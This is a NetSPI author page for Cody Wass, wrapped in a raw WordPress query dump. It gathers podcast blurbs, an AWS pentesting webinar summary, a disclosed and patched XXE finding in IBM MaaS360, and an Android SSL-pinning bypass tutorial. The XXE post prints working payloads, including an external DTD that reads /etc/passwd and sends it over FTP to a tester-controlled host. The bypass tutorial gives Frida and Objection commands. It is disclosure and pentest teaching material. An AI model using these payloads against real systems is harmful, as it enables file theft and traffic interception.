Cody Wass

Cody Wass has experience building and leading highly technical teams to provide exemplary client experiences. As NetSPI’s VP of Services, Cody drives excellence in service delivery and identifies new, innovative service lines to meet industry demand. Prior to becoming VP of Services, Cody was a Practice Director at NetSPI responsible for managing strategic account relationships and providing technical leadership on application security engagements. Cody holds a B.S. in Computer Science from North Dakota State University.
More by Cody Wass
WP_Query Object
(
    [query] => Array
        (
            [post_type] => Array
                (
                    [0] => post
                    [1] => webinars
                )

            [posts_per_page] => -1
            [post_status] => publish
            [meta_query] => Array
                (
                    [relation] => OR
                    [0] => Array
                        (
                            [key] => new_authors
                            [value] => "41"
                            [compare] => LIKE
                        )

                    [1] => Array
                        (
                            [key] => new_presenters
                            [value] => "41"
                            [compare] => LIKE
                        )

                )

        )

    [query_vars] => Array
        (
            [post_type] => Array
                (
                    [0] => post
                    [1] => webinars
                )

            [posts_per_page] => -1
            [post_status] => publish
            [meta_query] => Array
                (
                    [relation] => OR
                    [0] => Array
                        (
                            [key] => new_authors
                            [value] => "41"
                            [compare] => LIKE
                        )

                    [1] => Array
                        (
                            [key] => new_presenters
                            [value] => "41"
                            [compare] => LIKE
                        )

                )

            [error] => 
            [m] => 
            [p] => 0
            [post_parent] => 
            [subpost] => 
            [subpost_id] => 
            [attachment] => 
            [attachment_id] => 0
            [name] => 
            [pagename] => 
            [page_id] => 0
            [second] => 
            [minute] => 
            [hour] => 
            [day] => 0
            [monthnum] => 0
            [year] => 0
            [w] => 0
            [category_name] => 
            [tag] => 
            [cat] => 
            [tag_id] => 
            [author] => 
            [author_name] => 
            [feed] => 
            [tb] => 
            [paged] => 0
            [meta_key] => 
            [meta_value] => 
            [preview] => 
            [s] => 
            [sentence] => 
            [title] => 
            [fields] => 
            [menu_order] => 
            [embed] => 
            [category__in] => Array
                (
                )

            [category__not_in] => Array
                (
                )

            [category__and] => Array
                (
                )

            [post__in] => Array
                (
                )

            [post__not_in] => Array
                (
                )

            [post_name__in] => Array
                (
                )

            [tag__in] => Array
                (
                )

            [tag__not_in] => Array
                (
                )

            [tag__and] => Array
                (
                )

            [tag_slug__in] => Array
                (
                )

            [tag_slug__and] => Array
                (
                )

            [post_parent__in] => Array
                (
                )

            [post_parent__not_in] => Array
                (
                )

            [author__in] => Array
                (
                )

            [author__not_in] => Array
                (
                )

            [search_columns] => Array
                (
                )

            [ignore_sticky_posts] => 
            [suppress_filters] => 
            [cache_results] => 1
            [update_post_term_cache] => 1
            [update_menu_item_cache] => 
            [lazy_load_term_meta] => 1
            [update_post_meta_cache] => 1
            [nopaging] => 1
            [comments_per_page] => 50
            [no_found_rows] => 
            [order] => DESC
        )

    [tax_query] => WP_Tax_Query Object
        (
            [queries] => Array
                (
                )

            [relation] => AND
            [table_aliases:protected] => Array
                (
                )

            [queried_terms] => Array
                (
                )

            [primary_table] => wp_posts
            [primary_id_column] => ID
        )

    [meta_query] => WP_Meta_Query Object
        (
            [queries] => Array
                (
                    [0] => Array
                        (
                            [key] => new_authors
                            [value] => "41"
                            [compare] => LIKE
                        )

                    [1] => Array
                        (
                            [key] => new_presenters
                            [value] => "41"
                            [compare] => LIKE
                        )

                    [relation] => OR
                )

            [relation] => OR
            [meta_table] => wp_postmeta
            [meta_id_column] => post_id
            [primary_table] => wp_posts
            [primary_id_column] => ID
            [table_aliases:protected] => Array
                (
                    [0] => wp_postmeta
                )

            [clauses:protected] => Array
                (
                    [wp_postmeta] => Array
                        (
                            [key] => new_authors
                            [value] => "41"
                            [compare] => LIKE
                            [compare_key] => =
                            [alias] => wp_postmeta
                            [cast] => CHAR
                        )

                    [wp_postmeta-1] => Array
                        (
                            [key] => new_presenters
                            [value] => "41"
                            [compare] => LIKE
                            [compare_key] => =
                            [alias] => wp_postmeta
                            [cast] => CHAR
                        )

                )

            [has_or_relation:protected] => 1
        )

    [date_query] => 
    [request] => SELECT   wp_posts.ID
					 FROM wp_posts  INNER JOIN wp_postmeta ON ( wp_posts.ID = wp_postmeta.post_id )
					 WHERE 1=1  AND ( 
  ( wp_postmeta.meta_key = 'new_authors' AND wp_postmeta.meta_value LIKE '{34be30bfbec19641d6811dba6374dbac3018369f555e4f1dec122f963e056aa2}\"41\"{34be30bfbec19641d6811dba6374dbac3018369f555e4f1dec122f963e056aa2}' ) 
  OR 
  ( wp_postmeta.meta_key = 'new_presenters' AND wp_postmeta.meta_value LIKE '{34be30bfbec19641d6811dba6374dbac3018369f555e4f1dec122f963e056aa2}\"41\"{34be30bfbec19641d6811dba6374dbac3018369f555e4f1dec122f963e056aa2}' )
) AND wp_posts.post_type IN ('post', 'webinars') AND ((wp_posts.post_status = 'publish'))
					 GROUP BY wp_posts.ID
					 ORDER BY wp_posts.post_date DESC
					 
    [posts] => Array
        (
            [0] => WP_Post Object
                (
                    [ID] => 29064
                    [post_author] => 41
                    [post_date] => 2022-12-15 14:31:14
                    [post_date_gmt] => 2022-12-15 20:31:14
                    [post_content] => 

On December 15, NetSPI VP of Services Cody Wass was featured in the Hacker Valley podcast episode called Intentional Investments in People-Focused Leadership with Cody Wass. Read the preview below or view it online.

+++

Cody Wass, VP of Services at NetSPI, brings his near-decade of experience to the pod to talk about longevity, development, and leadership. It’s no secret that cybersecurity is in need of people. Cody’s journey from intern to VP at NetSPI has shown him the importance of training employees, creating opportunities for new graduates, and engaging teams effectively, both virtually and in-person. In this episode, Cody provides the roadmap towards intentional employee investment in the ever-changing cyber industry.

https://open.spotify.com/episode/3eo6VSZASn9HLfc052J3Xv?si=12fbdabbc13a4000
[post_title] => Hacker Valley: Intentional Investments in People-Focused Leadership with Cody Wass [post_excerpt] => On the Hacker Valley podcast, Cody Wass provides a roadmap towards intentional employee investment in the ever-changing cyber industry. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => hacker-valley-leadership-cybersecurity-development [to_ping] => [pinged] => [post_modified] => 2023-01-23 15:09:59 [post_modified_gmt] => 2023-01-23 21:09:59 [post_content_filtered] => [post_parent] => 0 [guid] => https://www.netspi.com/?p=29064 [menu_order] => 173 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [1] => WP_Post Object ( [ID] => 29021 [post_author] => 73 [post_date] => 2022-11-17 09:00:00 [post_date_gmt] => 2022-11-17 15:00:00 [post_content] =>

On November 17, NetSPI Head of Product, Cody Chamberlain, and VP of Services, Cody Wass, were featured in the Cyber Security Podcast on Spotify. Read the preview or listen to the full episode online.

+++

Today's glimpse is with Cody Wass, Vice President of Services, and Cody Chamberlain, Head of Product, of NetSPI hosted by Wendy Meadley, CEO, Next Phase Studio. The Cody's as they are "affectionately nicknamed" shed light on how technology alone cannot solve the greatest cyber security challenges. It is achieved when you effectively leverage technology to maximize the value of human creativity, experience and ingenuity.

https://open.spotify.com/episode/1GbZUTprSiAVl43ZDrLFLE
[post_title] => Cyber Security Summit: A Conversation with Cody Wass and Cody Chamberlain of NetSPI [post_excerpt] => NetSPI's Cody Chamberlain and Cody Wass shed light on how technology alone cannot solve the greatest cyber security challenges. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => cyber-security-summit-technology-alone-cannot-solve-cybersecurity-challenges [to_ping] => [pinged] => [post_modified] => 2023-01-23 15:10:03 [post_modified_gmt] => 2023-01-23 21:10:03 [post_content_filtered] => [post_parent] => 0 [guid] => https://www.netspi.com/?p=29021 [menu_order] => 184 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [2] => WP_Post Object ( [ID] => 19774 [post_author] => 53 [post_date] => 2020-06-01 10:50:48 [post_date_gmt] => 2020-06-01 10:50:48 [post_content] =>

Watch this AWS penetration testing webinar now, the third in our Lunch & Learn Series!

While pentesting AWS-supported applications, penetration testers often find themselves with an initial foothold in an AWS environment, but are uncertain what additional types of attacks or escalation paths they should attempt.

In this AWS penetration testing webinar, Cody Wass covers some of the common vulnerabilities that can provide penetration testers with access to AWS environments, along with a few escalation paths that could result in complete takeover of the affected AWS account. Throughout each section, he shares strategies for mitigating AWS vulnerabilities and escalation paths, along with tools that can be used to simplify identification and exploitation of these issues.

Watch now to learn about AWS penetration testing.

[post_title] => AWS Penetration Testing: Common Entry Points and Escalations [post_excerpt] => In this webinar, NetSPI's Cody Wass will cover some of the common vulnerabilities that can provide penetration testers with access to AWS environments and more. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => aws-penetration-testing-common-entry-points-and-escalations [to_ping] => [pinged] => [post_modified] => 2023-09-20 11:43:21 [post_modified_gmt] => 2023-09-20 16:43:21 [post_content_filtered] => [post_parent] => 0 [guid] => https://www.netspi.com/?post_type=webinars&p=19774 [menu_order] => 75 [post_type] => webinars [post_mime_type] => [comment_count] => 0 [filter] => raw ) [3] => WP_Post Object ( [ID] => 9836 [post_author] => 41 [post_date] => 2018-10-16 07:00:39 [post_date_gmt] => 2018-10-16 07:00:39 [post_content] => A couple of months ago I had the opportunity to test an implementation of MaaS360 – IBM’s MDM solution. The test was focused on device controls and the protection of corporate data, all things which the client had configured and none of which will be talked about here. Instead, during the course of the test I stumbled upon an External XML Entity (XXE) vulnerability in one of the services used to deliver MaaS360 functionality to IBM clients. Details of the issue and its discovery are the focus of this blog.

XXE?

First, a lightning fast breakdown of eXtensible Markup Language (XML) and XXE: XML is a flexible markup language capable of defining instructions for processing itself in a special section called the Document Type Definition (DTD). Within the DTD, 'XML entities' can be defined that tell the XML processor to replace certain pieces of text within the document with other values during parsing. As you’ll see below, if you can define a DTD as part of the XML payload that you provide to a service, you can potentially change the way the parser interprets the document. XXE is a vulnerability in which an XML parser evaluates attacker-defined external XML entities. Traditional (non-external) XML entities are special sequences in an XML document that tell the parser the entire ‘entity’ should be replaced with some other text during document parsing. This can be used to allow characters that would otherwise be interpreted as XML meta-characters to be represented in the document, or to re-use common text in many places while only having to update a single location. Common XML entities supported by all parsers include '&gt;' and '&lt;' – during processing, these entities are replaced with the strings '>' and '<', respectively. To define a regular, non-external entity, in the DTD you include the following:
<!ENTITY regular_entity "I am replacement text">
Within the XML document, then, if you had the string:
<dataTag>This is an entity: &regular_entity;</dataTag>
That string during processing would be changed to:
<dataTag>This is an entity: I am replacement text</dataTag>
External XML entities behave similarly, but their replacement values aren't limited to text. With an external XML entity, you can provide a URL that defines an external resource that contains the text you want to be inserted. In this case, 'external' refers to the fact that the resource isn't included within the document itself, and means the parser will have to access a separate resource in order to resolve the entity. To differentiate between a regular entity (whose replacement text is contained within the document) and an external entity (whose text is external to the document), the keywords 'SYSTEM' or 'PUBLIC' are included as part of the entity definition. To define an external entity in the DTD, you include the following:
<!ENTITY external_entity SYSTEM 'file:///etc/passwd'>
Within the XML document, any instance of the entity will be replaced. For example:
<dataTag>This is the password file: &external_entity;</dataTag>
will be transformed into:
<dataTag>This is the password file: root:x:0:0:root:/root:/bin/bash [...]</dataTag>
As you can see, if you can trick a parser into evaluating arbitrary external XML entities, you can gain access to the local filesystem.

The Issue

With the basics out of the way, let's take a look at functionality in IBM's MaaS360 that was vulnerable to this type of issue. API functionality wasn’t an area of focus during this test, however, there were a couple places where configuration information was pulled down from MaaS360 servers – I decided to take a quick peek into these to see if I could trick the mobile client into configuring itself improperly. That lead nowhere, but I did identify a handful of requests that were submitting XML payloads in POST requests. Every request I looked at was being properly parsed and validated. Inline DTDs I added were being ignored and malformed XML documents were being properly rejected - every request with an XML payload seemed to be subject to the same validation standards. Oh well, it was a longshot. And then, the last request I looked at had this:
POST /ios-mdm/ios-mdm-action.htm HTTP/1.1
Host: services.m3.maas360.com
Content-Type: application/x-www-form-urlencoded
Connection: close
Accept: */*
User-Agent: [REDACTED]
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Content-Length: 392

RP_REQUEST_TYPE=ACTIONS_RESPONSE_REQUEST&RP_CSN=[REDACTED]&RP_SEC_KEY=[REDACTED]&RP_DATA=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3CActionResults%3E%3CActionResult%20ID%3D%22%22%20type%3D%2213%22%3E%3Cparam%20name%3D%22status%22%3ESuccess%3C%2Fparam%3E%3C%2FActionResult%3E%3C%2FActionResults%3E%0A&RP_BILLING_ID=[REDACTED]&RP_PLATFORM_ID=[REDACTED]&RP_REQUEST_VERSION=[REDACTED]
Hmm. An XML payload, but URL-encoded and passed as the value of a x-www-form-urlencoded parameter. That’s interesting. They probably have to parse this differently than they parse their XML-only payloads. What if I…
POST /ios-mdm/ios-mdm-action.htm HTTP/1.1
Host: services.m3.maas360.com
Content-Type: application/x-www-form-urlencoded
Connection: close
Accept: */*
User-Agent: [REDACTED]
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Content-Length: 468

RP_REQUEST_TYPE=ACTIONS_RESPONSE_REQUEST&RP_CSN=[REDACTED]&RP_SEC_KEY=[REDACTED]&RP_DATA=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3CDOCTYPE+foo+SYSTEM+'https://6mtgnrnugo50ggqjccizibkrui09oy.netspi-collaborator.com'%3E%3CActionResults%3E%3CActionResult%20ID%3D%22%22%20type%3D%2213%22%3E%3Cparam%20name%3D%22status%22%3ESuccess%3C%2Fparam%3E%3C%2FActionResult%3E%3C%2FActionResults%3E%0A&RP_BILLING_ID=[REDACTED]
Note the above URL-encoded external entity that references https://6mtgnrnugo50ggqjccizibkrui09oy.netspi-collaborator.com - this is a Burp Collaborator URL. There was a delay, and then the application responded with a blank ‘HTTP 200’. Looking over at my Collaborator instance showed: Collab A DNS query, then an HTTP request to retrieve the resource I had injected! Not only did I have XXE, I also had unrestricted outbound access to help with exfiltration. The outbound access was key, in this case – as mentioned previously, the HTTP response to successful XXE processing was an ‘HTTP 200’ with an empty body, which is worthless for data exfiltration. To take advantage of the unrestricted outbound access, I injected a DTD that referenced an additional DTD hosted on a server I controlled. This allowed me to define parameter entities that would be evaluated during the parsing of the XML document without requiring me to modify the existing (valid) document structure.
POST /ios-mdm/ios-mdm-action.htm HTTP/1.1
Host: services.m3.maas360.com
Content-Type: application/x-www-form-urlencoded
Connection: close
Accept: */*
User-Agent: MaaS360-MaaS360-iOS/3.50.83
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Content-Length: 452

RP_REQUEST_TYPE=ACTIONS_RESPONSE_REQUEST&RP_CSN=[REDACTED]&RP_SEC_KEY=[REDACTED]&RP_DATA=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE+foo+SYSTEM+'https://192.0.2.1/xxe.dtd'%3E%3CActionResults%3E%3CActionResult%20ID%3D%22%22%20type%3D%2213%22%3E%3Cparam%20name%3D%22status%22%3ESuccess%3C%2Fparam%3E%3C%2FActionResult%3E%3C%2FActionResults%3E%0A&RP_BILLING_ID=[REDACTED]&RP_PLATFORM_ID=3&RP_REQUEST_VERSION=1.0
In the request above, 'https://192.0.2.1/xxe.dtd' is a reference to the below DTD, hosted on a server I controlled:
<!ENTITY % all SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY % external SYSTEM 'ftp://192.0.2.1:443/%all;'>">%param1;%external;
To go through the parsing step-by-step: 1. POST request (with inline DTD referencing an external DTD) submitted to server 2. Server receives XML payload and starts parsing inline Document Type Definition (DTD) 3. Inline DTD references an external DTD, so the server retrieves the external DTD to continue parsing 4. Parsing the external DTD results in the creation of multiple parameter entities that contain our exfiltration payload and exfiltration endpoint 5. The final parsing of the (internal + external) DTD results in the FTP connection to the exfiltration server, which contains our exfiltrated data as part of the URL 6. As long as we have a ‘fake’ FTP service listening on our FTP server, we should be able to catch the exfiltrated data sent in step #5 The result of using the above to read the file ‘/etc/passwd’ is shown below:
root@pentest:~/# ruby server.rb
New client connected
USER anonymous
PASS Java1.8.0_161@
TYPE I
/root:x:0:0:root:
/root:
/bin
QUIT
You’ll notice that’s the first line of a typical /etc/passwd file, albeit split across multiple lines. Since I was clearly able to exfiltrate data, it was time to stop verifying the issue and notify IBM of the finding.

Conclusion

Some key takeaways from this: 1. XML is a dangerous data format that’s easy to handle incorrectly. If you see it, get excited. 2. If you’re looking into something and you feel like every parameter you test isn’t vulnerable, keep checking – it was the last request I checked that was vulnerable.

Disclosure Timeline

May 11, 2018: Vulnerability discovered, details sent to IBM May 11, 2018: Response from IBM acknowledging report and containing advisory number for tracking May 18, 2018: Email and response from IBM regarding status June 8, 2018: Email regarding status. IBM response indicates issue confirmed and fix almost complete June 22, 2018: Email regarding status. IBM response indicates issue was patched June 9, 2018 July 18-20, 2018: Email regarding blog release. IBM responds that blog is fine, indicates PSIRT acknowledgment page has been updated October 2018: Blog published [post_title] => XXE in IBM's MaaS360 Platform [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => xxe-in-ibms-maas360-platform [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:56:07 [post_modified_gmt] => 2021-06-08 21:56:07 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=9836 [menu_order] => 577 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [4] => WP_Post Object ( [ID] => 8183 [post_author] => 41 [post_date] => 2018-01-09 07:00:57 [post_date_gmt] => 2018-01-09 07:00:57 [post_content] => Gone are the days when mobile applications stoically ignored all manner of SSL errors and allowed you to intercept and modify their traffic at will. Instead, most modern applications at least check that the certificate presented chains to a valid, trusted certificate authority (CA). As pentesters, we’d like to convince the app that our certificate is valid and trusted so we can man-in-the-middle (MITM) it and modify its traffic. In this blog I’ll go through 4 techniques you can use to bypass SSL certificate checks on Android:
  • Adding a custom CA to the trusted certificate store
  • Overwriting a packaged CA cert with a custom CA cert
  • Using Frida to hook and bypass SSL certificate checks
  • Reversing custom certificate code
These range from fairly simple to quite advanced in execution – this blog will try to cover each one without getting too bogged down in situation-specific details.

SSL MITM – Why?

Why do we need to pay special attention to SSL MITM conditions for mobile applications? In order to view and fuzz a mobile app’s web service calls, we need to use an intercepting proxy such as BurpSuite or ZAP. When intercepting SSL traffic using a proxy, the SSL connection from the client is terminated at the proxy – whatever certificate the proxy sends to identify itself is evaluated by the mobile app as if the proxy were the web service endpoint. By default, the self-signed certificate generated by tools such as Burp won’t have a valid trust chain, and if the certificate can’t be verified as trusted, most mobile apps will terminate the connection instead of connecting over a potentially insecure channel. The techniques below all share the common goal of convincing a mobile application to trust the certificate provided by our intercepting proxy.

Technique 1 - Adding a Custom CA to the User Certificate Store

The simplest way to avoid SSL errors is to have a valid, trusted certificate. This is relatively easy if you can install new, trusted CAs to the device – if the operating system trusts your CA, it will trust a certificate signed by your CA. Android has two built-in certificate stores that keep track of which CAs are trusted by the operating system – the system store (holding pre-installed CAs) and the user store (holding user-installed CAs). From developer.android.com:

By default, secure connections (using protocols like TLS and HTTPS) from all apps trust the pre-installed system CAs, and apps targeting Android 6.0 (API level 23) and lower also trust the user-added CA store by default. An app can customize its own connections using base-config (for app-wide customization) or domain-config (for per-domain customization).

What does this mean to us? If the application we’re trying to MITM targets Android 6.0 or lower, we can simply add our CA to the user-added CA store. When the application validates the trust chain for our custom certificate, it will find our custom CA in the trust store and our certificate will be trusted. If the application targets Android versions later than 6.0, however, it won’t trust the user-added CA store. To get around this, we can edit the application’s manifest and force it to target Android 6.0. The targeted API level is specified in the ‘platformBuildVersionCode’ attribute of the ‘manifest’ element in the AndroidManifest.xml file.
<manifest xmlns:android="https://schemas.android.com/apk/res/android" package="com.test.app" platformBuildVersionCode="25" platformBuildVersionName="7.1.1">
The above manifest element targets 'platformBuildVersionCode=25', we need to change that to 23.
<manifest xmlns:android="https://schemas.android.com/apk/res/android" package="com.test.app" platformBuildVersionCode="23" platformBuildVersionName="6.0">
When the application is repackaged with this updated manifest, it will trust the user-added CA store. Alternatively, if running on a specific platform version is required, we can define specific trust anchors in the ‘/res/xml/network_security_config.xml’ configuration file of the APK. For example, the following file defines a new trusted CA that needs to be stored at /res/raw/my_ca (from https://developer.android.com/training/articles/security-config.html):
<?xml version="1.0" encoding="utf-8"?> 
<network-security-config> 
<base-config> 
<trust-anchors> 
<certificates src="@raw/my_ca"/> 
</trust-anchors> 
</base-config> 
</network-security-config>
If the application is only validating that the presented certificate is valid, this technique should allow you to establish a successful MITM condition.

Technique 2 – Overwrite Packaged CA Certificate with Custom CA Certificate

What if you successfully install your certificate to the user-added CA store, the application is targeting Android 6.0, and your certificate shows up as valid when you try and browse other SSL-protected resources, but the application still dies with SSL errors? It’s possible that the developers have taken additional steps to restrict the set of CAs trusted by the application. Recall from technique 1 we defined a custom trust anchor and provided a path to a CA certificate – this is intended functionality that may be used by developers to attempt to protect their application from SSL interception. If a custom certificate chain is being distributed with an application, extracting the APK and overwriting the provided CA with our custom CA should be enough to cause our intercepting certificate to be trusted. Note that in some cases, additional verification of the trust chain may be happening, so this method may yield mixed results.

Img A Cadcb

Opening the APK with a tool such as APK Studio makes the presence of certificates bundled with the deployed application obvious. In the image above, the certificates are located under the ‘assets’ directory. Overwriting the aptly-named ‘UniversalRootCA’ certificate with our custom CA should allow us to trick the application into accepting our certificate.

Technique 3 - Frida Hook

If installing your own CA isn’t enough to successfully proxy SSL traffic, it’s possible that the application is performing some kind of SSL pinning or additional SSL validation. Typically, to bypass this type of validation we need to hook the application’s code and interfere with the validation process itself. This type of interference use to be restricted to rooted/jailbroken phones, but with the help of Frida Gadget, it’s now possible to instrument an Android application and gain access to the full suite of Frida functionality without rooting a device. If you’ve performed mobile application penetration testing before, you’re likely familiar with the Frida framework. Fully covering Frida’s functionality is outside the scope of this blog, but at a high level it’s a framework that allows you to tamper with an application’s code at runtime. Typically, Frida will run on the operating system as a stand-alone program – but that requires rooting a device. To avoid that, we can inject Frida Gadget into the target APK. Frida Gadget contains most of the functionality of Frida, but encapsulated in a dynamic library that gets loaded by the target app at runtime, allowing you to instrument and modify the target app’s code. To load Frida Gadget, we need to extract the APK, insert the dynamic library, edit some smali code so our dynamic library is the first thing that gets called at application startup, then re-package the APK and install it. This entire process has been documented in great detail here by John Kozyrakis, and it’s worth going through it manually at least once to get a feel for how everything works together. To save time, however, there’s yet another tool we can use – Objection. Objection automates this entire process, and requires only the target APK to be provided on the command line.
C: >objection patchapk -s test_app.apk
No architecture specified. Determining it using `adb`...
Detected target device architecture as: armeabi-v7a
Github FridaGadget is v10.6.28, local is v10.6.13. Updating...
Downloading armeabi-v7a library to C:.objectionandroidarmeabi-v7alibfrida-gadget.so.xz...
Unpacking C:.objectionandroidarmeabi-v7alibfrida-gadget.so.xz...
Cleaning up downloaded archives...
Using Gadget version: 10.6.28
Unpacking test_app.apk
App already has android.permission.INTERNET
Reading smali from: C:Temptmp8dxqks1u.apktempsmalicom/test/app/TestMainActivity.smali
Injecting loadLibrary call at line: 10
Writing patched smali back to: C:Temptmp8dxqks1u.apktempsmalicom/test/app/TestMainActivity.smali
Creating library path: C:Temptmp8dxqks1u.apktemplibarmeabi-v7a
Copying Frida gadget to libs path...
Rebuilding the APK with the frida-gadget loaded...
Built new APK with injected loadLibrary and frida-gadget
Signing new APK.
jar signed.
Signed the new APK
Performing zipalign
Zipaling completed
Copying final apk from C:UserscwassAppDataLocalTemptmp8dxqks1u.apktemp.aligned.objection.apk to current directory...
Cleaning up temp files...
After this, we should have a file named ‘test_app.objection.apk’ in our working directory – objection, by default, appends ‘.objection’ to the name of the original APK. We can install this APK as we would any other APK – adb install test_app.objection.apk should push it to our connected device. After the objection-altered APK has been installed on our target device, running the app should result in a pause at the application startup screen. At this point, we can connect to a Frida server that should be listening on the device. If you prefer using the Frida utilities:
C:>frida-ps -U
PID  Name
----  ------
6383  Gadget

C:>frida -U gadget
____
/ _ | Frida 10.3.14 - A world-class dynamic instrumentation framework
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at https://www.frida.re/docs/home/

[Motorola Moto G (5) Plus::gadget]-> Java.available
true

Alternatively, Objection supports interaction with the listening Frida server by using the ‘explore’ command:

C:>objection explore
___| |_  |_|___ ___| |_|_|___ ___
| . | . | | | -_|  _|  _| | . |   |
|___|___|_| |___|___|_| |_|___|_|_|
|___|(object)inject(ion) v1.2.2

Runtime Mobile Exploration
by: @leonjza from @sensepost

[tab] for command suggestions
com.test.app on (motorola: 7.0) [usb] # android hooking search classes TrustManager
android.security.net.config.RootTrustManager
android.app.trust.ITrustManager$Stub$Proxy
android.app.trust.ITrustManager
android.security.net.config.NetworkSecurityTrustManager
android.security.net.config.RootTrustManagerFactorySpi
android.app.trust.TrustManager
android.app.trust.ITrustManager$Stub
com.android.org.conscrypt.TrustManagerImpl
com.android.org.conscrypt.TrustManagerImpl$ExtendedKeyUsagePKIXCertPathChecker
com.android.org.conscrypt.TrustManagerImpl$TrustAnchorComparator
com.android.org.conscrypt.TrustManagerFactoryImpl
javax.net.ssl.TrustManagerFactory$1
javax.net.ssl.TrustManager
javax.net.ssl.TrustManagerFactory
javax.net.ssl.X509TrustManager
javax.net.ssl.TrustManagerFactorySpi
javax.net.ssl.X509ExtendedTrustManager
[Ljavax.net.ssl.TrustManager;
At this point, you should be able to benefit from the built-in SSL pinning bypass functions:
com.test.app on (motorola: 7.0) [usb] # android sslpinning disable
Job: 2f633f86-f252-4a57-958e-6b46ac8d69d1 - Starting
[6b46ac8d69d1] [android-ssl-pinning-bypass] Custom, Empty TrustManager ready
Job: 2f633f86-f252-4a57-958e-6b46ac8d69d1 – Started

Technique 4 – Reversing Custom Certificate Validation Code

Lastly, it’s possible that a developer would choose to provide their own SSL libraries instead of relying on the system libraries to handle the SSL certificate validation. If this is the case, we’ll likely want to extract the APK and convert the smali back to Java so we can look for the code responsible for handling the certificate validation. Using ‘dex2jar’, the syntax is as follows:
C:>d2j-dex2jar.bat "C:test_app.apk"
dex2jar C:test_app.apk -> .test_app-dex2jar.jar
The resulting .jar file should be openable in your favorite Java reversing tool (such as JD-GUI). Once you identify the code responsible for certificate validation, you can choose to either patch it out completely or hook the desired function using Frida. To avoid re-building the entire application, it’s typically more efficient to hook the functions responsible for the certificate validation. Using the steps from technique #3 will allow you to instrument the application – from there, you should be able to hook a function using either the Frida command-line tools or the Objection interface, whichever you’re more comfortable with.

Conclusion

The techniques mentioned above should allow you to intercept Android SSL traffic and bypass some of the more common defenses employed by developers. In addition, this blog provided a brief introduction to Objection and Frida - the ability to bypass SSL pinning and other defenses only scratches the surface of the staggering amount of functionality provided by these tools. I hope this blog was an accessible introduction to various techniques that can be used during Android mobile application security testing, and illustrated the importance of having multiple ways to bypass a given security control. [post_title] => Four Ways to Bypass Android SSL Verification and Certificate Pinning [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => four-ways-bypass-android-ssl-verification-certificate-pinning [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:52:53 [post_modified_gmt] => 2021-06-08 21:52:53 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=8183 [menu_order] => 616 [post_type] => post [post_mime_type] => [comment_count] => 1 [filter] => raw ) ) [post_count] => 5 [current_post] => -1 [before_loop] => 1 [in_the_loop] => [post] => WP_Post Object ( [ID] => 29064 [post_author] => 41 [post_date] => 2022-12-15 14:31:14 [post_date_gmt] => 2022-12-15 20:31:14 [post_content] =>

On December 15, NetSPI VP of Services Cody Wass was featured in the Hacker Valley podcast episode called Intentional Investments in People-Focused Leadership with Cody Wass. Read the preview below or view it online.

+++

Cody Wass, VP of Services at NetSPI, brings his near-decade of experience to the pod to talk about longevity, development, and leadership. It’s no secret that cybersecurity is in need of people. Cody’s journey from intern to VP at NetSPI has shown him the importance of training employees, creating opportunities for new graduates, and engaging teams effectively, both virtually and in-person. In this episode, Cody provides the roadmap towards intentional employee investment in the ever-changing cyber industry.

https://open.spotify.com/episode/3eo6VSZASn9HLfc052J3Xv?si=12fbdabbc13a4000
[post_title] => Hacker Valley: Intentional Investments in People-Focused Leadership with Cody Wass [post_excerpt] => On the Hacker Valley podcast, Cody Wass provides a roadmap towards intentional employee investment in the ever-changing cyber industry. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => hacker-valley-leadership-cybersecurity-development [to_ping] => [pinged] => [post_modified] => 2023-01-23 15:09:59 [post_modified_gmt] => 2023-01-23 21:09:59 [post_content_filtered] => [post_parent] => 0 [guid] => https://www.netspi.com/?p=29064 [menu_order] => 173 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [comment_count] => 0 [current_comment] => -1 [found_posts] => 5 [max_num_pages] => 0 [max_num_comment_pages] => 0 [is_single] => [is_preview] => [is_page] => [is_archive] => [is_date] => [is_year] => [is_month] => [is_day] => [is_time] => [is_author] => [is_category] => [is_tag] => [is_tax] => [is_search] => [is_feed] => [is_comment_feed] => [is_trackback] => [is_home] => 1 [is_privacy_policy] => [is_404] => [is_embed] => [is_paged] => [is_admin] => [is_attachment] => [is_singular] => [is_robots] => [is_favicon] => [is_posts_page] => [is_post_type_archive] => [query_vars_hash:WP_Query:private] => 6200dca37f5bd7f9d5b3a180e002fca5 [query_vars_changed:WP_Query:private] => [thumbnails_cached] => [allow_query_attachment_by_filename:protected] => [stopwords:WP_Query:private] => [compat_fields:WP_Query:private] => Array ( [0] => query_vars_hash [1] => query_vars_changed ) [compat_methods:WP_Query:private] => Array ( [0] => init_query_flags [1] => parse_tax_query ) )

Discover how the NetSPI BAS solution helps organizations validate the efficacy of existing security controls and understand their Security Posture and Readiness.

X